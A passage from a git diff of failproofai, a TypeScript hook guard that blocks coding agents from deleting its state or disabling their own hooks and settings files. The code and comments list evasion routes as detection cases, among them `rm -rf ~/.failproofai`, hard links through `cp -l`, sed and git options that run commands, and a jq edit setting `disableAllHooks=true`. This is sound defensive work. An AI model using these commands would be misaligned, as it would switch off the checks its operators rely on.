as writing; a comparison beside a print is the cost. + return quoteAwareWords(rawSimple).some((w) => /\bprintf?\b/.test(w) && />(?!=)/.test(w)); } + // `rg --pre ` runs a command over every file it searches. + if ((head === "rg" || head === "ripgrep") && args.some((a) => a === "--pre" || a.startsWith("--pre="))) return true; + // Copying the state OUT is a backup. Copying anything ONTO it — classically // `/dev/null` — empties it without naming a delete verb. The destination is // the last operand, unless `-t` names it instead: `cp -t ~/.failproofai @@ -1214,6 +1281,11 @@ function simpleCommandDestroys( // being the SOURCE — the shape that makes every other copy a backup — is // what makes this one a move. if (args.includes("--remove-source-files") && args.some((a) => namesState(a))) return true; + // `cp -l` and `cp -s` make a hard or symbolic link instead of a copy, so + // the protected file as SOURCE gets a second name that any later write + // reaches it through: `cp -l ~/.claude/settings.json /tmp/x; echo … > /tmp/x`. + const links = args.some((a) => /^-(?!-)[A-Za-z]*[ls]/.test(a) || a === "--link" || a === "--symbolic-link"); + if (head === "cp" && links && args.some((a) => !a.startsWith("-") && namesState(a))) return true; const targetAt = args.findIndex((a) => a === "-t" || a === "--target-directory"); if (targetAt !== -1 && namesState(args[targetAt + 1] ?? "")) return true; if (args.some((a) => a.startsWith("--target-directory=") && namesState(a))) return true; @@ -1236,6 +1308,19 @@ function simpleCommandDestroys( // `git` normally carries the path as prose in a message or a body. if (head === "git") { const subcommand = gitSubcommand(args); + // Output files, whatever the subcommand: `git log --output=` writes + // what `--format` says into it, and `-o` is the archive's or the patches'. + if (writesViaOutputFlag("git", args, namesState)) return true; + if ((subcommand === "archive" || subcommand === "format-patch") && writesViaOutputFlag("git", args, namesState, ["-o"])) { + return true; + } + if (args.some((a, i) => (args[i - 1] === "-c" || args[i - 1] === "--config-env") && GIT_CONFIG_RUNS_CODE_RE.test(a))) { + return true; + } + // `restore --staged` alone touches the index, never the file on disk. + const staged = args.some((a) => a === "--staged" || /^-(?!-)[A-Za-z]*S/.test(a)); + const worktree = args.some((a) => a === "--worktree" || /^-(?!-)[A-Za-z]*W/.test(a)); + if (subcommand === "restore" && staged && !worktree) return false; return subcommand !== undefined && GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand); } @@ -1255,17 +1340,31 @@ function simpleCommandDestroys( * `sort -o`, `tree -o` and `curl -o` all take their destination as an option, * so nothing about the head or the operand order says they are writing — and * all three heads were on a list that said they only read. Short options bundle - * (`curl -sfo `), so the trailing letter is what decides. + * (`curl -sfo `), so the trailing letter is what decides — and a short + * option can carry its value glued on (`sort -o`, `curl -so`). */ -function writesViaOutputFlag(head: string, args: string[], namesState: (text: string) => boolean): boolean { - const flags = OUTPUT_FLAG_COMMANDS[head]; +function writesViaOutputFlag( + head: string, + args: string[], + namesState: (text: string) => boolean, + flags: readonly string[] | undefined = OUTPUT_FLAG_COMMANDS[head], +): boolean { if (!flags) return false; + const shortLetters = flags.filter((f) => /^-[A-Za-z]$/.test(f)).map((f) => f[1]); for (let i = 0; i < args.length; i++) { const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); - if (long && namesState(arg)) return true; - const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); + if (long && namesState(arg.slice(long.length + 1))) return true; + const bundled = /^-[A-Za-z]+$/.test(arg) && shortLetters.includes(arg[arg.length - 1]); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + if (/^-[A-Za-z]/.test(arg)) { + for (const letter of shortLetters) { + const glued = arg.indexOf(letter, 1); + if (glued > 0 && /^[A-Za-z]*$/.test(arg.slice(1, glued)) && glued < arg.length - 1) { + if (namesState(arg.slice(glued + 1))) return true; + } + } + } } return false; } @@ -1281,12 +1380,24 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st interface ProtectedPathTarget { /** Whether a word, a value or a whole pipeline names the target as written. */ namesLiteral(text: string): boolean; + /** + * Whether a program handed to an interpreter names the target. Defaults to + * `namesLiteral`; the settings target also reads directory names as string + * literals, which is how programs build those paths. + */ + namesProgram?(program: string): boolean; /** Paths a glob has to be able to reach to count as aimed at the target. */ globCandidates: readonly string[]; /** Ordinary paths a glob aimed at the target must miss. */ globDecoys: readonly string[]; /** Heads that cannot write or remove the target, beyond the shared read and mention lists. */ harmlessCommands?: ReadonlySet; + /** + * Where the shell starts, when it is known. A relative word is resolved + * against it — and against wherever a `cd` moves it — so + * `cd ~/.claude && cp /tmp/x settings.json` names the file it writes. + */ + cwd?: string; } /** failproofai's own state. Names, not copies, so widening any of them widens the walk. */ @@ -1303,15 +1414,19 @@ const FAILPROOFAI_STATE_TARGET: ProtectedPathTarget = { const AGENT_SETTINGS_HARMLESS_COMMANDS: ReadonlySet = new Set(["mkdir", "touch"]); /** - * Agents' settings and hook files (agent-settings-guard.ts), for a session in - * `cwd`: a relative word is resolved against it, the way the shell will. + * Agents' settings and hook files (agent-settings-guard.ts), for a shell that + * starts in `cwd`. `extraPaths` are settings files known for this session that + * no shape describes (a config directory moved by `CLAUDE_CONFIG_DIR`). */ -function agentSettingsShellTarget(cwd: string | undefined): ProtectedPathTarget { +function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly string[]): ProtectedPathTarget { + const namer = agentSettingsShellNamer(extraPaths); return { - namesLiteral: (text) => shellTextNamesAgentSettings(text, cwd), - globCandidates: agentSettingsGlobCandidates(cwd), - globDecoys: [...GLOB_DECOYS, ...agentSettingsGlobDecoys()], + namesLiteral: namer, + namesProgram: (program) => namer(program) || programNamesAgentSettings(program), + globCandidates: agentSettingsGlobCandidates(cwd, extraPaths), + globDecoys: agentSettingsGlobDecoys(cwd, GLOB_DECOYS), harmlessCommands: AGENT_SETTINGS_HARMLESS_COMMANDS, + cwd, }; } @@ -1328,21 +1443,357 @@ const INLINE_INTERPRETERS = "python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl * it, and the interpreter's own piece named nothing. So the whole program is * judged as one: an interpreter is never on the read list, and naming the * target anywhere in its program is enough. + * + * Bounded on purpose: at most six words between the interpreter and its flag, + * all on one line. An unbounded gap re-scanned the rest of the input for every + * interpreter-shaped word in it, which on a long line of prose cost seconds. */ const INLINE_PROGRAM_RE = new RegExp( - String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:\s+[^\s;&|]+)*?\s+(?:-[A-Za-z]*[ceErp]|--eval|--print|--command|-Command|eval)\s+("(?:[^"\\]|\\.)*"|'[^']*')`, + String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})(?:[ \t]+[^\s;&|]+){0,6}?[ \t]+(?:-[A-Za-z]*[ceErp]|--eval|--print|--command|-Command|eval)[ \t]+("(?:[^"\\]|\\.)*"|'[^']*'|\$'(?:[^'\\]|\\.)*')`, "g", ); +/** A word that starts an interpreter, on a line whose quoted text is blanked. */ +const INTERPRETER_WORD_RE = new RegExp(String.raw`(?:^|[\s|;&(\x60])(?:\S*/)?(?:${INLINE_INTERPRETERS})(?=[\s|;&)]|$)`); + +/** A word that starts a shell, which reads a heredoc as commands. */ +const SHELL_WORD_RE = /(?:^|[\s|;&(`])(?:\S*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish|eval|source|ssh|docker|podman|kubectl)(?=[\s|;&)]|$)/; + +/** `< " ".repeat(m.length)); +} + +/** + * Every heredoc in `text`, with the command that reads it. Linear: each + * operator's line is read once and its body is walked line by line. + */ +function heredocSpans(text: string): HeredocSpan[] { + const spans: HeredocSpan[] = []; + let from = 0; + HEREDOC_OPERATOR_RE.lastIndex = 0; + for (let m = HEREDOC_OPERATOR_RE.exec(text); m !== null; m = HEREDOC_OPERATOR_RE.exec(text)) { + if (m.index < from) continue; + const lineStart = text.lastIndexOf("\n", m.index - 1) + 1; + const lineEnd = text.indexOf("\n", m.index); + if (lineEnd === -1) break; + const delimiter = m[3]; + let bodyEnd = text.length; + let next = text.length; + for (let at = lineEnd + 1; at <= text.length; ) { + const end = text.indexOf("\n", at); + const line = text.slice(at, end === -1 ? text.length : end); + if (line.trim() === delimiter) { + bodyEnd = at; + next = end === -1 ? text.length : end + 1; + break; + } + if (end === -1) break; + at = end + 1; + } + const opLine = unquotedLine(text.slice(lineStart, lineEnd)); + const consumer = SHELL_WORD_RE.test(opLine) ? "shell" : INTERPRETER_WORD_RE.test(opLine) ? "interpreter" : "data"; + spans.push({ bodyStart: lineEnd + 1, bodyEnd, consumer, literal: m[2] !== "" }); + from = next; + HEREDOC_OPERATOR_RE.lastIndex = next; + } + return spans; +} + /** - * A heredoc fed to one of those interpreters, and its body: `python3 - <<'EOF'`. - * A shell's own heredoc is left to the walk, which already reads each line of - * it as a command. + * `text` with the bodies of DATA heredocs removed: a commit message or a PR + * body in `git commit -m "$(cat <<'EOF' … EOF)"` is text being stored, and its + * lines were being judged one by one as commands, so a message that mentioned + * `.claude/settings.json` denied the commit. A heredoc a shell or an + * interpreter reads stays: its lines run. */ -const INTERPRETER_HEREDOC_RE = new RegExp( - String.raw`(?:^|[\s;&|(\x60])(?:[^\s;&|()\x60]*/)?(?:${INLINE_INTERPRETERS})\b[^\n]*?<<-?\s*(['"]?)([A-Za-z_][A-Za-z0-9_]*)\1[^\n]*\n([\s\S]*?)(?:\n[ \t]*\2[ \t]*(?:\n|$)|$)`, - "g", -); +function stripHeredocData(text: string, spans: HeredocSpan[], onlyLiteral = false): string { + let out = ""; + let pos = 0; + for (const span of spans) { + if (span.consumer !== "data" || (onlyLiteral && !span.literal)) continue; + out += text.slice(pos, span.bodyStart); + pos = span.bodyEnd; + } + return out + text.slice(pos); +} + +/** + * `text` without the bodies the shell neither runs nor expands, for finding + * command substitutions: a backticked name in a `<<'EOF'` commit message is + * text, while `$(…)` in an unquoted `< = new Set(["sh", "bash", "zsh", "dash", "ksh", "ash", "fish", "eval", "source", ".", "su"]); + +/** Words a shell walks past before the command that receives the arguments. */ +const MASK_TRANSPARENT_WORDS: ReadonlySet = new Set([ + "sudo", "doas", "env", "nohup", "time", "timeout", "nice", "stdbuf", "setsid", "command", "builtin", + "exec", "xargs", "then", "do", "else", "elif", "if", "while", "until", "!", +]); + +/** + * `text` with command separators inside quoted ARGUMENTS turned into spaces. + * + * `git commit -m "a; b"`, `echo "x | y"` and `gh pr create --body "…\n…"` + * hand their quoted text to a program as one argument; the walk split it like + * shell, so every line of a message was judged as a command of its own. A + * shell's quoted argument (`bash -c '…; rm …'`) IS shell and keeps its + * separators, and so does a command substitution inside double quotes, which + * runs: `"$(cat x; rm …)"`. + */ +function maskQuotedData(text: string): string { + let out = ""; + let words: string[] = []; + let word = ""; + const headRunsShell = (): boolean | null => { + for (const w of [...words, word]) { + if (!w) continue; + const base = commandBasename(w); + if (ENV_ASSIGNMENT_RE.test(w) || w.startsWith("-") || RUNNER_OPERAND_RE.test(w) || MASK_TRANSPARENT_WORDS.has(base)) continue; + return SHELL_HEADS.has(base); + } + // No command yet: the quoted text is the command word itself. + return null; + }; + // Separators, redirects and parentheses: none of them mean anything to the + // shell inside a quoted argument, and each of them steers the walk. + const maskable = (ch: string): boolean => "\n\r;&|<>()".includes(ch); + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "'" || ch === '"' || (ch === "$" && text[i + 1] === "'")) { + const mask = headRunsShell() === false; + const quote = ch === "$" ? "'" : ch; + let j = ch === "$" ? i + 2 : i + 1; + let region = ch === "$" ? "$'" : ch; + let substitution = 0; + for (; j < text.length; j++) { + const c = text[j]; + if (quote === '"' && c === "\\" && j + 1 < text.length) { + region += c + text[j + 1]; + j++; + continue; + } + if (ch === "$" && c === "\\" && j + 1 < text.length) { + region += c + text[j + 1]; + j++; + continue; + } + if (quote === '"' && c === "$" && text[j + 1] === "(") { + substitution++; + region += "$("; + j++; + continue; + } + if (quote === '"' && substitution > 0 && c === ")") { + substitution--; + region += c; + continue; + } + if (c === quote && substitution === 0) break; + region += mask && substitution === 0 && maskable(c) ? " " : c; + } + out += region + (j < text.length ? quote : ""); + word += "q"; + i = j; + continue; + } + if (ch === "\\" && i + 1 < text.length) { + out += ch + text[i + 1]; + word += text[i + 1]; + i++; + continue; + } + if (ch === " " || ch === "\t") { + if (word) words.push(word); + word = ""; + out += ch; + continue; + } + if (ch === "\n" || ";&|(){}`".includes(ch)) { + words = []; + word = ""; + out += ch; + continue; + } + word += ch; + out += ch; + } + return out; +} + +/** + * A simple command's words the way the shell will split them: whitespace + * outside quotes separates, and quotes and backslash escapes come off. + * Expansions stay as written. + */ +function quoteAwareWords(text: string): string[] { + const words: string[] = []; + let current = ""; + let inWord = false; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "'") { + const close = text.indexOf("'", i + 1); + const end = close === -1 ? text.length : close; + current += text.slice(i + 1, end); + inWord = true; + i = end; + continue; + } + if (ch === "$" && text[i + 1] === "'") { + let j = i + 2; + let body = ""; + for (; j < text.length && text[j] !== "'"; j++) { + if (text[j] === "\\" && j + 1 < text.length) { + body += text[j] + text[j + 1]; + j++; + } else body += text[j]; + } + current += decodeAnsiC(body); + inWord = true; + i = j; + continue; + } + if (ch === '"') { + let j = i + 1; + for (; j < text.length && text[j] !== '"'; j++) { + if (text[j] === "\\" && j + 1 < text.length && '"\\$`\n'.includes(text[j + 1])) { + current += text[j + 1]; + j++; + } else current += text[j]; + } + inWord = true; + i = j; + continue; + } + if (ch === "\\" && i + 1 < text.length) { + current += text[i + 1]; + inWord = true; + i++; + continue; + } + if (/\s/.test(ch)) { + if (inWord) words.push(current); + current = ""; + inWord = false; + continue; + } + current += ch; + inWord = true; + } + if (inWord) words.push(current); + return words; +} + +/** `e`: sed runs a shell command, as a command (`1e cp …`) or as the flag on `s` (`s/x/y/e`). */ +const SED_RUNS_COMMAND_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*e[gpIiMm0-9]*(?=$|[\s;}])/; + +/** `w` and `W`: sed writes the rest of the line's text as a file name, glued on or after a space. */ +const SED_WRITE_FILE_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*[wW][ \t]*([^\n]+)/g; + +/** + * The script texts a `sed` command runs: each `-e`/`--expression` value, or the + * first operand when there is none. Null when a script comes from a file + * (`-f`), which cannot be read from here. + */ +function sedScripts(rawSimple: string): string[] | null { + const words = quoteAwareWords(rawSimple); + const at = words.findIndex((w) => commandBasename(w) === "sed"); + if (at === -1) return []; + const scripts: string[] = []; + let explicit = false; + for (let i = at + 1; i < words.length; i++) { + const a = words[i]; + if (a === "-e" || a === "--expression") { + scripts.push(words[++i] ?? ""); + explicit = true; + continue; + } + if (a.startsWith("--expression=")) { + scripts.push(a.slice("--expression=".length)); + explicit = true; + continue; + } + if (a === "--file" || a.startsWith("--file=") || /^-(?!-)[A-Za-z]*f/.test(a)) return null; + if (/^-(?!-)[A-Za-z]*e$/.test(a)) { + scripts.push(words[++i] ?? ""); + explicit = true; + continue; + } + if (/^-(?!-)[A-Za-z]*e./.test(a)) { + scripts.push(a.slice(a.indexOf("e") + 1)); + explicit = true; + continue; + } + if (a.startsWith("-")) continue; + if (!explicit && scripts.length === 0) scripts.push(a); + } + return scripts; +} + +/** `$VAR`, `${VAR}`, `$(…)` and backticks inside a word: what the shell will splice in. */ +const WORD_EXPANSION_RE = /\$\{[^}]*\}|\$\([^)]*\)|`[^`]*`|\$[A-Za-z_][A-Za-z0-9_]*/g; + +/** + * A word with each expansion inside it turned into `*`, a pattern that reaches + * at least every word the shell could produce: `~/.claude/settings$X.json` and + * `~/.clau${X}de/settings.json` reach the settings file, and are tried against + * it like any other glob. A word that is nothing but an expansion becomes a bare + * `*`, which the decoys keep from naming anything. + */ +function spliceWordExpansions(word: string): string { + return word.replace(WORD_EXPANSION_RE, "*"); +} + +/** A word the shell resolves against the current directory. */ +function isRelativeShellWord(word: string): boolean { + return word.length > 0 && !/^[-/~$]/.test(word) && !word.includes("://") && !GLOB_METACHAR_RE.test(word); +} + +/** + * Where `cd ` leaves a shell that stood in `from`, or undefined when + * that cannot be known from the text (`cd -`, `cd $DIR`). + */ +function cdDestination(from: string | undefined, operand: string | undefined): string | undefined { + if (operand === undefined || operand === "~" || operand === "$HOME" || operand === "${HOME}") return homedir(); + const home = /^(?:~|\$HOME|\$\{HOME\})\/(.*)$/.exec(operand); + if (home) return resolve(homedir(), home[1]); + if (operand === "-" || operand.includes("$") || operand.includes("`")) return undefined; + if (operand.startsWith("/")) return resolve(operand); + return from === undefined ? undefined : resolve(from, operand); +} + +/** `text` cut at every match of `separator`, as `[start, end)` ranges. */ +function cutRanges(text: string, separator: RegExp): Array<[number, number]> { + const global = new RegExp(separator.source, separator.flags.includes("g") ? separator.flags : `${separator.flags}g`); + const ranges: Array<[number, number]> = []; + let start = 0; + for (const match of text.matchAll(global)) { + ranges.push([start, match.index]); + start = match.index + match[0].length; + } + ranges.push([start, text.length]); + return ranges; +} /** True when `command` would delete, move or overwrite failproofai's own state. */ function destroysFailproofaiState(command: string): boolean { @@ -1367,13 +1818,15 @@ function destroysFailproofaiState(command: string): boolean { * - `D=~/.failproofai; rm -rf $D` — the path is a value, and the destroying * command names only `$D` * - * So the walk is stateful: it remembers which variables hold the path and - * whether the shell has been moved INTO the directory, and carries both - * forward. What it does NOT do is treat every later command as suspect — + * So the walk is stateful: it remembers which variables hold the path, whether + * the shell has been moved INTO the directory, and — where it can tell — which + * directory the shell stands in, so a relative destination + * (`cd ~/.failproofai && cp /dev/null policies-config.json`) is read as the path + * it is. What it does NOT do is treat every later command as suspect — * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysProtectedPath(command: string, target: ProtectedPathTarget, depth = 0): boolean { +function destroysProtectedPath(command: string, target: ProtectedPathTarget, depth = 0, unescapedPass = false): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1381,11 +1834,17 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // deeper than the limit is trivial to write (`echo $(echo $(… rm …))`), and // every level of it presents `echo` as the head. The budget is what bounds // the work instead, because siblings multiply where depth does not. - if (depth === 0) { - const bodies = substitutionBodies(command); + // + // Not on a text whose quotes and backslashes are already gone + // (`unescapedPass`): there an escaped backtick in a commit message reads as a + // substitution. Each body is judged raw AND unescaped here instead, so a + // quote-broken path inside one (`$(rm ~/.claude/"settings.json")`) is caught. + if (depth === 0 && !unescapedPass) { + const bodies = substitutionBodies(withoutLiteralHeredocs(command)); for (let i = 0; i < bodies.length && i < 64; i++) { if (destroysProtectedPath(bodies[i], target, 1)) return true; - bodies.push(...substitutionBodies(bodies[i])); + if (destroysProtectedPath(stripShellQuoting(bodies[i]), target, 1, true)) return true; + bodies.push(...substitutionBodies(withoutLiteralHeredocs(bodies[i]))); } } @@ -1411,6 +1870,11 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep if (stateVars.size === before) break; } + // The directory the shell stands in, where the text says. Undefined once it + // cannot be known; `pushd` keeps the one it left for `popd` to return to. + let walkCwd = target.cwd; + const dirStack: Array = []; + const namesState = (text: string): boolean => { if (target.namesLiteral(text)) return true; for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { @@ -1419,15 +1883,29 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameTarget(unquotedToken(token), target)); + return text.split(/\s+/).some((token) => { + const word = unquotedToken(token); + if (globCouldNameTarget(word, target)) return true; + const spliced = spliceWordExpansions(word); + if (spliced !== word && globCouldNameTarget(spliced, target)) return true; + if (walkCwd === undefined) return false; + // A relative word lands where the shell stands: `settings.json` after + // `cd ~/.claude`, `opencode` after `cd ~/.config`. + for (const form of word.includes("=") ? [word, word.slice(word.indexOf("=") + 1)] : [word]) { + if (isRelativeShellWord(form) && target.namesLiteral(resolve(walkCwd, form))) return true; + } + return GLOB_METACHAR_RE.test(word) && !/^[-/~$]/.test(word) && globCouldNameTarget(resolve(walkCwd, word), target); + }); }; // Programs handed to an interpreter, judged whole (see INLINE_PROGRAM_RE). + const namesProgram = (program: string): boolean => (target.namesProgram ?? target.namesLiteral)(program) || namesState(program); for (const [, program] of command.matchAll(INLINE_PROGRAM_RE)) { - if (namesState(program)) return true; + if (namesProgram(program)) return true; } - for (const [, , , body] of command.matchAll(INTERPRETER_HEREDOC_RE)) { - if (namesState(body ?? "")) return true; + const heredocs = heredocSpans(command); + for (const span of heredocs) { + if (span.consumer === "interpreter" && namesProgram(command.slice(span.bodyStart, span.bodyEnd))) return true; } let cwdInState = false; @@ -1437,17 +1915,31 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; + const cwdScopes: Array<{ depth: number; cwd: string | undefined }> = []; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes // something called `$f`. let loopCarriesState = false; - for (const pipeline of command.split(PIPELINE_SEPARATORS)) { + // A destination after a `cd` into the target names it, even relative — and + // when the walk has lost track of where the shell stands, every relative + // destination counts: `cd $D && cp x policies-config.json`. + const namesHere = (text: string): boolean => + namesState(text) || (cwdInState && walkCwd === undefined && isRelativeShellWord(bareToken(text))); + // Data the shell never runs comes out before the walk splits lines: a + // heredoc that only stores text, and separators inside quoted arguments. + // The walk SPLITS the masked text and READS the unmasked one: masking keeps + // every offset, so each piece of one is the same piece of the other, and a + // sed or awk program arrives with the separators and redirects it really has. + const unmasked = stripHeredocData(command, heredocs); + const masked = maskQuotedData(unmasked); + for (const [pipelineStart, pipelineEnd] of cutRanges(masked, PIPELINE_SEPARATORS)) { + const pipeline = unmasked.slice(pipelineStart, pipelineEnd); + const maskedPipeline = masked.slice(pipelineStart, pipelineEnd); if (!pipeline.trim()) continue; - const simpleCommands = pipeline.split("|"); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; - if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; - if (/(?:^|\s)done(?:\s|$)/.test(pipeline)) loopCarriesState = false; + if (reachesState && LOOP_HEADER_RE.test(maskedPipeline)) loopCarriesState = true; + if (/(?:^|\s)done(?:\s|$)/.test(maskedPipeline)) loopCarriesState = false; // A redirect is a write with no command in front of it — `> path` empties a // file on its own. Only a redirect whose TARGET is the state counts: the @@ -1456,13 +1948,15 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. if (reachesState) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; + for (const [, redirected] of maskedPipeline.matchAll(REDIRECT_TARGET_RE)) { + if (namesHere(redirected.replace(/^["']|["']$/g, ""))) return true; } } - for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; + for (const [simpleStart, simpleEnd] of cutRanges(maskedPipeline, /\|/)) { + const simple = pipeline.slice(simpleStart, simpleEnd); + const maskedSimple = maskedPipeline.slice(simpleStart, simpleEnd); + parenDepth += (maskedSimple.match(/\(/g) ?? []).length; const words = commandWords(simple); const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes @@ -1471,22 +1965,34 @@ function destroysProtectedPath(command: string, target: ProtectedPathTarget, dep const operand = words.slice(1).find((w) => !w.startsWith("-")); cwdInState = operand !== undefined && namesState(operand); cdParenDepth = cwdInState ? parenDepth : null; + if (head === "pushd") dirStack.push(walkCwd); + if (parenDepth > 0) cwdScopes.push({ depth: parenDepth, cwd: walkCwd }); + walkCwd = cdDestination(walkCwd, operand); } else if (head === "popd") { // `popd` returns to wherever the shell was before `pushd`, which ends // the window as surely as a `cd` out does. Without it every command for // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState, target)) { + walkCwd = dirStack.length > 0 ? dirStack.pop() : undefined; + } else if (reachesState && words.length > 0) { + // `xargs` hands the paths on its stdin to the command after it, so a + // copy or a `tee` fed by `echo |` names its destination nowhere + // in its own words. Judged like `find -exec`: only a reader is safe. + const viaXargs = /(?:^|\s)(?:\S*\/)?xargs(?:\s|$)/.test(maskedSimple); + if (viaXargs && !SAFE_EXEC_COMMANDS.has(head)) return true; // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. - return true; + if (simpleCommandDestroys(words, namesHere, target, simple)) return true; } - parenDepth -= (simple.match(/\)/g) ?? []).length; + parenDepth -= (maskedSimple.match(/\)/g) ?? []).length; if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; } + while (cwdScopes.length > 0 && parenDepth < cwdScopes[cwdScopes.length - 1].depth) { + walkCwd = cwdScopes.pop()!.cwd; + } } } return false; @@ -2566,7 +3072,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // hooks file with our entries taken out, switches off every policy — this // one included — and Claude Code's file watcher applies it before the next // tool call. Checked after symlinks, and through apply_patch's patch text. - const settingsFile = agentSettingsWriteTarget(ctx.toolInput, ctx.session?.cwd); + const settingsFile = agentSettingsWriteTarget(ctx.toolInput, ctx.session?.cwd, sessionAgentSettingsPaths(ctx)); if (settingsFile) { return deny( `${settingsFile} is an agent settings or hook file, and editing it could switch failproofai's hooks off. ` + @@ -2607,11 +3113,25 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { "If a policy is blocking legitimate work, say so and let the operator decide.", ); } + // An agent CLI's own command can turn its hooks off with no settings path in + // it at all: `codex features disable hooks` rewrites config.toml. + if (agentCliSwitchesHooksOff(cmd) || agentCliSwitchesHooksOff(unescaped)) { + return deny( + "Turning an agent's hooks off would switch failproofai's enforcement off. " + + "If this change is needed, say so and let the user make it.", + ); + } // The same walk, aimed at the agents' settings and hook files: `jq // '.disableAllHooks=true' ~/.claude/settings.json > t && mv t // ~/.claude/settings.json` switches the hooks off without naming failproofai. - const settingsTarget = agentSettingsShellTarget(ctx.session?.cwd); - if (destroysProtectedPath(cmd, settingsTarget) || destroysProtectedPath(unescaped, settingsTarget)) { + // The unescaped pass is built from the MASKED command, so quoted arguments + // stay one argument after their quotes come off. + const settingsTarget = agentSettingsShellTarget( + agentSettingsShellCwd(ctx.toolInput, ctx.session?.cwd), + sessionAgentSettingsPaths(ctx), + ); + const maskedUnescaped = stripShellQuoting(maskQuotedData(withoutLiteralHeredocs(cmd))); + if (destroysProtectedPath(cmd, settingsTarget) || destroysProtectedPath(maskedUnescaped, settingsTarget, 0, true)) { return deny( "Writing, moving or deleting an agent's settings or hook files could switch failproofai's hooks off. " + "If this change is needed, say so and let the user make it.", @@ -2620,6 +3140,16 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { return allow(); } +/** + * The settings file this session's hook was loaded from, when the hook process + * could tell (handler.ts reads it from the agent's own environment, so a + * `CLAUDE_CONFIG_DIR` or `CODEX_HOME` that moved it is followed). + */ +function sessionAgentSettingsPaths(ctx: PolicyContext): string[] { + const path = ctx.session?.agentSettingsPath; + return typeof path === "string" && path.length > 0 ? [path] : []; +} + // Shared CLI-blocker: deny any command whose argv begins with the matched CLI, // unless an entry in `allowPatterns` matches via `matchesAllowedPattern` (which // already defends against shell-operator injection). diff --git a/src/hooks/handler.ts b/src/hooks/handler.ts index 52cebbd05..f97d28124 100644 --- a/src/hooks/handler.ts +++ b/src/hooks/handler.ts @@ -720,9 +720,11 @@ export async function evaluateHookEvent( rawHookEventName: eventType, cli, }; - const runtimeAgent = readRuntimeAgentIdentity( - cli, opts?.agentSettingsPath ?? runtimeAgentSettingsPath(cli, session.cwd), - ); + const agentSettingsPath = opts?.agentSettingsPath ?? runtimeAgentSettingsPath(cli, session.cwd); + // The always-on guard protects this file too: when CLAUDE_CONFIG_DIR or + // CODEX_HOME moved it, no directory name the guard knows describes it. + if (agentSettingsPath) session.agentSettingsPath = agentSettingsPath; + const runtimeAgent = readRuntimeAgentIdentity(cli, agentSettingsPath); let config: HooksConfig; let customHooksList: CustomHook[] = []; diff --git a/src/hooks/types.ts b/src/hooks/types.ts index dc9a87d19..af878574a 100644 --- a/src/hooks/types.ts +++ b/src/hooks/types.ts @@ -1105,6 +1105,13 @@ export interface SessionMetadata { rawHookEventName?: string; /** Which agent CLI fired this hook (claude | codex | copilot | cursor | opencode | pi | hermes | openclaw | factory | devin | antigravity | goose). Set by handler.ts from --cli. */ cli?: IntegrationType; + /** + * The settings file this hook was installed in, as the hook process resolved + * it from the agent's own environment (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, + * `HERMES_HOME`, …). Absent when it could not tell. The always-on guard + * protects it even where it sits outside every directory the guard knows. + */ + agentSettingsPath?: string; } export interface ClaudeSettings { From c386dbbaf54194836c9ed5039aa3371288c1baa6 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:57:58 +0530 Subject: [PATCH 08/89] Move the #1794 changelog entry under 1.0.17-beta.0 main moved to 1.0.17-beta.0 and opened its section. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5bb7ee8e3..ca6aea130 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md 